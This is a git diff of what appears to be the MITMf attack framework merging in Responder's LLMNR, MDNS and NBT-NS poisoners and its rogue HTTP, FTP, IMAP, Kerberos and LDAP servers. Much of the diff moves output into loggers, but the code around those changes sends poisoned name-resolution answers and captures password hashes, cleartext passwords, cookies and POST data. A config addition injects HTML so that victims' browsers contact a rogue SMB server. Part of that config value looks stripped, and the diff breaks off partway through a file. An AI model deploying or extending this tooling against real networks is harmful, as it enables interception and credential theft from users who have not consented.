diff --git a/config/mitmf.conf b/config/mitmf.conf index 9ea8033..d6d58fe 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -158,6 +158,11 @@ #Custom WPAD Script WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}' + + #HTML answer to inject in HTTP responses (before tag). + #Set to an empty string to disable. + #In this example, we redirect make users' browsers issue a request to our rogue SMB server. + HTMLToInject = Loading [[HTTPS Server]] diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py index 50f0754..e8f7733 100644 --- a/core/poisoners/LLMNR.py +++ b/core/poisoners/LLMNR.py @@ -26,17 +26,15 @@ from core.responder.odict import OrderedDict from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * -class LLMNR: - - def start(self): - try: - server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) - t = threading.Thread(name='LLMNR', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting LLMNR server on port 5355" - print_exc() +def start(): + try: + server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) + t = threading.Thread(name='LLMNR', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LLMNR server on port 5355" + print_exc() class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): @@ -80,9 +78,9 @@ def IsICMPRedirectPlausible(IP): dnsip.extend(ip[1:]) for x in dnsip: if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) - print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) - print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] You can ICMP Redirect on this network.") + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x)) + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.") else: pass @@ -109,18 +107,15 @@ class LLMNRServer(BaseRequestHandler): # Analyze Mode if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: LLMNR]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.AnalyzeLogger.warning("[Analyze mode: LLMNR]{} Request by {} for {}, ignoring".format(self.client_address[0], Name)) # Poisoning Mode else: Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer.calculate() soc.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [LLMNR]" - - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.PoisonersLogger.warning("[LLMNR] Poisoned answer sent to {} for name {}".format(self.client_address[0], Name)) if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + settings.Config.ResponderLogger.info("[FINGER] OS Version: {}".format(Finger[0])) + settings.Config.ResponderLogger.info("[FINGER] Client Version: {}".format(Finger[1])) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py index a81ef6e..19f1fc9 100644 --- a/core/poisoners/MDNS.py +++ b/core/poisoners/MDNS.py @@ -24,17 +24,15 @@ from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.packets import MDNS_Ans from core.responder.utils import * -class MDNS: - - def start(self): - try: - server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) - t = threading.Thread(name='MDNS', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting MDNS server on port 5353" - print_exc() +def start(): + try: + server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) + t = threading.Thread(name='MDNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MDNS server on port 5353" + print_exc() class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): @@ -56,12 +54,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): UDPServer.server_bind(self) def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + try: + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + except IndexError: + return None def Poisoned_MDNS_Name(data): data = data[12:] @@ -79,14 +80,14 @@ class MDNSServer(BaseRequestHandler): Request_Name = Parse_MDNS_Name(data) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Request_Name) is not True: + if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): return None try: # Analyze Mode if settings.Config.AnalyzeMode: if Parse_IPV6_Addr(data): - print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + settings.Config.AnalyzeLogger.warning('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (self.client_address[0], Request_Name)) # Poisoning Mode else: @@ -97,7 +98,7 @@ class MDNSServer(BaseRequestHandler): Buffer.calculate() soc.sendto(str(Buffer), (MADDR, MPORT)) - print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + settings.Config.PoisonersLogger.warning('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name)) except Exception: raise \ No newline at end of file diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py index 652ca42..c7cc350 100644 --- a/core/poisoners/NBTNS.py +++ b/core/poisoners/NBTNS.py @@ -24,17 +24,15 @@ from core.responder.packets import NBT_Ans from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * -class NBTNS: - - def start(self): - try: - server = ThreadingUDPServer(('', 137), NBTNSServer) - t = threading.Thread(name='NBTNS', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting NBTNS server on port 137" - print_exec() +def start(): + try: + server = ThreadingUDPServer(('', 137), NBTNSServer) + t = threading.Thread(name='NBTNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting NBTNS server on port 137" + print_exec() class ThreadingUDPServer(ThreadingMixIn, UDPServer): @@ -88,18 +86,16 @@ class NBTNSServer(BaseRequestHandler): # Analyze Mode if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: NBT-NS]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.AnalyzeLogger.warning("[Analyze mode: NBT-NS] Request by %s for %s, ignoring" % (self.client_address[0], Name)) # Poisoning Mode else: Buffer = NBT_Ans() Buffer.calculate(data) socket.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [NBT-NS]" - print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) + settings.Config.PoisonersLogger.warning("[NBT-NS] Poisoned answer sent to %s for name %s (service: %s)" % (self.client_address[0], Name, NBT_NS_Role(data[43:46]))) if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + settings.Config.ResponderLogger.info("[FINGER] OS Version : %s" % Finger[0]) + settings.Config.ResponderLogger.info("[FINGER] Client Version : %s" % Finger[1]) diff --git a/core/responder/fingerprint.py b/core/responder/fingerprint.py index 24432a5..fb6add0 100644 --- a/core/responder/fingerprint.py +++ b/core/responder/fingerprint.py @@ -64,5 +64,5 @@ def RunSmbFinger(host): if data[8:10] == "\x73\x16": return OsNameClientVersion(data) except: - print color("[!] ", 1, 1) +" Fingerprint failed" + settings.Config.AnalyzeLogger.warning("Fingerprint failed for host: {}".format(host)) return None diff --git a/core/responder/settings.py b/core/responder/settings.py index 2d9b51a..4010176 100644 --- a/core/responder/settings.py +++ b/core/responder/settings.py @@ -19,6 +19,8 @@ import sys import socket import utils import logging + +from core.logger import logger from core.configwatcher import ConfigWatcher __version__ = 'Responder 2.2' @@ -114,15 +116,16 @@ class Settings(ConfigWatcher): self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always']) self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html']) self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename'] + self.HtmlToInject = self.config['Responder']['HTTP Server']['HTMLToInject'] self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename'] self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName'] self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript'] if not os.path.exists(self.Html_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + print "Warning: %s: file not found" % self.Html_Filename if not os.path.exists(self.Exe_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + print "Warning: %s: file not found" % self.Exe_Filename # SSL Options self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey'] @@ -146,8 +149,9 @@ class Settings(ConfigWatcher): self.AnalyzeMode = options.analyze #self.Upstream_Proxy = options.Upstream_Proxy - self.Verbose = True - self.CommandLine = str(sys.argv) + self.Verbose = False + if options.log_level == 'debug': + self.Verbose = True self.Bind_To = utils.FindLocalIP(self.Interface) @@ -158,7 +162,7 @@ class Settings(ConfigWatcher): self.NumChal = self.config['Responder']['Challenge'] if len(self.NumChal) is not 16: - print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + print "The challenge must be exactly 16 chars long.\nExample: 1122334455667788" sys.exit(-1) self.Challenge = "" @@ -166,23 +170,12 @@ class Settings(ConfigWatcher): self.Challenge += self.NumChal[i:i+2].decode("hex") # Set up logging - logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') - logging.warning('Responder Started: {}'.format(self.CommandLine)) + formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.ResponderLogger = logger().setup_logger("Responder", formatter, self.SessionLogFile) + #logging.warning('Responder Started: {}'.format(self.CommandLine)) #logging.warning('Responder Config: {}'.format(self)) - Formatter = logging.Formatter('%(asctime)s - %(message)s') - PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') - ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') - PLog_Handler.setLevel(logging.INFO) - ALog_Handler.setLevel(logging.INFO) - PLog_Handler.setFormatter(Formatter) - ALog_Handler.setFormatter(Formatter) + self.PoisonersLogger = logger().setup_logger("Poison log", formatter, self.PoisonersLogFile) + self.AnalyzeLogger = logger().setup_logger("Analyze Log", formatter, self.AnalyzeLogFile) - self.PoisonersLogger = logging.getLogger('Poisoners Log') - self.PoisonersLogger.addHandler(PLog_Handler) - - self.AnalyzeLogger = logging.getLogger('Analyze Log') - self.AnalyzeLogger.addHandler(ALog_Handler) - -global Config Config = Settings() \ No newline at end of file diff --git a/core/responder/utils.py b/core/responder/utils.py index 1da7508..78ed44a 100644 --- a/core/responder/utils.py +++ b/core/responder/utils.py @@ -21,34 +21,7 @@ import logging import socket import time import settings - -try: - import sqlite3 -except: - print "[!] Please install python-sqlite3 extension." - sys.exit(0) - -def color(txt, code = 1, modifier = 0): - - if txt.startswith('[*]'): - settings.Config.PoisonersLogger.warning(txt) - - elif 'Analyze' in txt: - settings.Config.AnalyzeLogger.warning(txt) - - # No colors for windows... - if os.name == 'nt': - return txt - - return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) - -def text(txt): - logging.info(txt) - - if os.name == 'nt': - return txt - - return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) +import sqlite3 def RespondToThisIP(ClientIp): @@ -102,13 +75,12 @@ def FindLocalIP(Iface): return ret except socket.error: - print color("[!] Error: %s: Interface not found" % Iface, 1) sys.exit(-1) # Function used to write captured hashs to a file. def WriteData(outfile, data, user): - logging.info("[*] Captured Hash: %s" % data) + settings.Config.ResponderLogger.info("[*] Captured Hash: %s" % data) if os.path.isfile(outfile) == False: with open(outfile,"w") as outf: @@ -176,23 +148,22 @@ def SaveToDb(result): if count == 0 or settings.Config.Verbose: if len(result['client']): - print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + settings.Config.ResponderLogger.info("[%s] %s Client : %s" % (result['module'], result['type'], result['client'])) if len(result['hostname']): - print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + settings.Config.ResponderLogger.info("[%s] %s Hostname : %s" % (result['module'], result['type'], result['hostname'])) if len(result['user']): - print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) - - # Bu order of priority, print cleartext, fullhash, or hash - if len(result['cleartext']): - print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) - elif len(result['fullhash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) - elif len(result['hash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) - - else: - print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user'] + settings.Config.ResponderLogger.info("[%s] %s Username : %s" % (result['module'], result['type'], result['user'])) + # By order of priority, print cleartext, fullhash, or hash + if len(result['cleartext']): + settings.Config.ResponderLogger.info("[%s] %s Password : %s" % (result['module'], result['type'], result['cleartext'])) + elif len(result['fullhash']): + settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['fullhash'])) + elif len(result['hash']): + settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['hash'])) + + else: + settings.Config.PoisonersLogger.warning('Skipping previously captured hash for %s' % result['user']) def Parse_IPV6_Addr(data): @@ -238,88 +209,6 @@ def NBT_NS_Role(data): return Role[data] if data in Role else "Service not known" -def banner(): - - banner = "\n".join([ - ' __', - ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', - ' | _| -__|__ --| _ | _ | | _ || -__| _|', - ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', - ' |__|' - ]) - - print banner - print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ - print "" - print " Original work by Laurent Gaffie (lgaffie@trustwave.com)" - print " To kill this script hit CRTL-C" - print "" - -def StartupMessage(): - enabled = color('[ON]', 2, 1) - disabled = color('[OFF]', 1, 1) - - print "" - print color("[+] ", 2, 1) + "Poisoners:" - print ' %-27s' % "LLMNR" + enabled - print ' %-27s' % "NBT-NS" + enabled - print ' %-27s' % "DNS/MDNS" + enabled - print "" - - print color("[+] ", 2, 1) + "Servers:" - print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) - print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) - print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) - print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) - print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) - print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) - print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) - print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) - print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) - print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) - print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) - print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) - print "" - - print color("[+] ", 2, 1) + "HTTP Options:" - print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) - print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) - print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) - print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) - #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script - print "" - - print color("[+] ", 2, 1) + "Poisoning Options:" - print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) - print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) - print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) - print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) - print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) - print "" - - print color("[+] ", 2, 1) + "Generic Options:" - print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) - print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) - print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) - - if settings.Config.Upstream_Proxy: - print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) - - if len(settings.Config.RespondTo): - print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) - - if len(settings.Config.RespondToName): - print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) - - if len(settings.Config.DontRespondTo): - print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) - - if len(settings.Config.DontRespondToName): - print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) - - print "" - print "" - # Useful for debugging def hexdump(src, l=0x16): res = [] diff --git a/core/servers/Browser.py b/core/servers/Browser.py index a6aad30..c9840b6 100644 --- a/core/servers/Browser.py +++ b/core/servers/Browser.py @@ -87,15 +87,15 @@ def ParsePacket(Payload): def RAPThisDomain(Client,Domain): PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") if PDC is not None: - print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)) + settings.Config.ResponderLogger.info("[LANMAN] Detected Domains: %s" % ', '.join(PDC)) SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00") if SQL is not None: - print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))) + settings.Config.ResponderLogger.info("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))) WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff") if WKST is not None: - print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) + settings.Config.ResponderLogger.info("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) def RapFinger(Host, Domain, Type): try: @@ -169,7 +169,7 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) if settings.Config.AnalyzeMode: - print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) + settings.Config.AnalyzeLogger.warning("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) print RAPThisDomain(Client, Domain) except: @@ -184,7 +184,7 @@ def ParseDatagramNBTNames(data,Client): if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: - print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) + settings.Config.AnalyzeLogger.warning('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) print RAPThisDomain(Client, Domain) except: pass diff --git a/core/servers/FTP.py b/core/servers/FTP.py index 9e0d592..845e3fd 100644 --- a/core/servers/FTP.py +++ b/core/servers/FTP.py @@ -15,12 +15,41 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os +import threading -from core.utils import * -from SocketServer import BaseRequestHandler -from core.packets import FTPPacket +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import FTPPacket -class FTP(BaseRequestHandler): +class FTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1) + else: + server = ThreadingTCPServer(('', 21), FTP1) + + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMB server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +class FTP1(BaseRequestHandler): def handle(self): try: self.request.send(str(FTPPacket())) diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py index ade76cf..1765f6b 100644 --- a/core/servers/HTTP.py +++ b/core/servers/HTTP.py @@ -24,10 +24,14 @@ from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, T from base64 import b64decode, b64encode from core.responder.utils import * +from core.logger import logger from core.responder.packets import NTLM_Challenge from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("HTTP", formatter) + class HTTP: def start(self): @@ -113,7 +117,7 @@ def GrabCookie(data, host): if Cookie: Cookie = Cookie.group(0).replace('Cookie: ', '') if len(Cookie) > 1 and settings.Config.Verbose: - print text("[HTTP] Cookie : %s " % Cookie) + log.info("[HTTP] Cookie : {}".format(Cookie)) return Cookie else: return False @@ -124,7 +128,7 @@ def GrabHost(data, host): if Host: Host = Host.group(0).replace('Host: ', '') if settings.Config.Verbose: - print text("[HTTP] Host : %s " % color(Host, 3)) + log.info("[HTTP] Host : {}".format(Host, 3)) return Host else: return False @@ -152,7 +156,7 @@ def RespondWithFile(client, filename, dlname=None): Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer.calculate() - print text("[HTTP] Sending file %s to %s" % (filename, client)) + log.info("[HTTP] Sending file {} to {}".format(filename, client)) return str(Buffer) @@ -161,13 +165,13 @@ def GrabURL(data, host): POST = re.findall('(?<=POST )[^HTTP]*', data) POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) - if GET and settings.Config.Verbose: - print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + if GET: + log.info("[HTTP] GET request from: {} URL: {}".format(host, ''.join(GET))) - if POST and settings.Config.Verbose: - print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + if POST: + log.info("[HTTP] POST request from: {} URL: {}".format(host, ''.join(POST))) if len(''.join(POSTDATA)) > 2: - print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + log.info("[HTTP] POST Data: {}".format(''.join(POSTDATA).strip())) # Handle HTTP packet sequence. def PacketSequence(data, client): @@ -205,7 +209,7 @@ def PacketSequence(data, client): ParseHTTPHash(NTLM_Auth, client) if settings.Config.Force_WPAD_Auth and WPAD_Custom: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + log.info("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: @@ -230,7 +234,7 @@ def PacketSequence(data, client): if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + log.info("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: @@ -242,12 +246,12 @@ def PacketSequence(data, client): if settings.Config.Basic == True: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending BASIC authentication request to %s" % client) + log.info("[HTTP] Sending BASIC authentication request to %s" % client) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending NTLM authentication request to %s" % client) + log.info("[HTTP] Sending NTLM authentication request to %s" % client) return str(Response) @@ -265,7 +269,7 @@ class HTTP1(BaseRequestHandler): if Buffer and settings.Config.Force_WPAD_Auth == False: self.request.send(Buffer) if settings.Config.Verbose: - print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + log.info("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) @@ -290,7 +294,7 @@ class HTTPS(StreamRequestHandler): if Buffer and settings.Config.Force_WPAD_Auth == False: self.exchange.send(Buffer) if settings.Config.Verbose: - print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) + log.info("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) diff --git a/core/servers/IMAP.py b/core/servers/IMAP.py index c0ae12b..ac2d762 100644 --- a/core/servers/IMAP.py +++ b/core/servers/IMAP.py @@ -15,14 +15,43 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading -from utils import * -from SocketServer import BaseRequestHandler -from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd + +class IMAP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 143), IMAP4) + else: + server = ThreadingTCPServer(('', 143), IMAP4) + + t = threading.Thread(name='IMAP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting IMAP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # IMAP4 Server class -class IMAP(BaseRequestHandler): +class IMAP4(BaseRequestHandler): def handle(self): try: diff --git a/core/servers/Kerberos.py b/core/servers/Kerberos.py index b3ac4bf..1ff545e 100644 --- a/core/servers/Kerberos.py +++ b/core/servers/Kerberos.py @@ -16,144 +16,189 @@ # along with this program. If not, see . import os import struct -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from SocketServer import BaseRequestHandler -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer, UDPServer +from core.responder.utils import * + +class Kerberos: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 88), KerbTCP) + server2 = ThreadingUDPServer((settings.Config.Bind_To, 88), KerbUDP) + else: + server1 = ThreadingTCPServer(('', 88), KerbTCP) + server2 = ThreadingUDPServer(('', 88), KerbUDP) + + for server in [server1, server2]: + t = threading.Thread(name='Kerberos', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting Kerberos server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +class ThreadingUDPServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack('. import os import struct -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from SocketServer import BaseRequestHandler -from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from core.responder.utils import * + +class LDAP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 389), LDAPServer) + else: + server = ThreadingTCPServer(('', 389), LDAPServer) + + t = threading.Thread(name='LDAP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LDAP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): 